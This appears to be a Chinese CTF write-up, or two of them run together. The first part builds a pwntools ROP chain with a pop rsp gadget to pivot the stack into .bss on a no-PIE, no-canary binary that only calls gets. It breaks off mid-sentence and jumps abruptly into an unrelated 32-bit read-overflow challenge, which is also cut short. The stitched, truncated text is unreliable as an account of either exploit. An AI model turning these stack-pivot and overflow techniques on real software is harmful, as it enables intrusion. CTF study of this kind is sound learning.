这基本是见过最绕的rop了。
整个程序异常简单,只调用了一个gets函数。

  1. Arch: amd64-64-little
  2. RELRO: Full RELRO
  3. Stack: No canary found
  4. NX: NX enabled
  5. PIE: No PIE (0x400000)

留下没开PIE一条活路。

比赛的时候就有队友提醒说这题是pwnable.tw上面de-aslr一题改编的,当时看一一下别人的wp,发现有个用于stack pivot的关键gadget找不到,赛后仔细阅读pwnable.tw神仙们的wp,发现很多都是用爆破来做的,作为学习并不想简单用爆破完事。于是根据其中一篇的思路完成了这题。

首先找gadget是最关键的一步,之前说找不到stack pivot可用的gadget,后来根据提示在ROPgadget搜索的时候加上了--depth 100参数,成功找到了一个非常理想的gadget

  1. 0x000000000040059d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret

有了这个gadget就可以自由地做stack pivot/migrate了。

下面开始构造rop

  1. buf = elf.bss()+0x100
  2. rop1 = ROP(elf)
  3. # stage mov stack to bss
  4. rop1.raw(pop_rdi)
  5. rop1.raw(buf)
  6. rop1.raw(elf.plt['gets'])
  7. rop1.raw(pop_rsp_r13_r14_r15)
  8. rop1.raw(buf)
  9. sl('a'*24 + rop1.chain())

通过以上片段,我们可以把栈搬到bss段,并且在bss上面写入继续执行所需的rop

  1. rop2 = ROP(elf)
  2. rop2.raw(pop_rdi)
  3. rop2.raw(buf-0x38) # to change
  4. rop2.raw(elf.plt['gets'])
  5. sl('A'*24 + rop2.chain())

通过上面的设置在bss上再做一次rop,其中0x3

好像很久没有碰到32位的题目了,这题的逻辑是出奇的简单,就是一个单纯的read造成的栈溢出,难度在于binary外面包了一层python的wrapper python wrapper ```python #!/usr/bin/python -u # encoding: utf-8 import random, string, subprocess, os, sys from hashlib i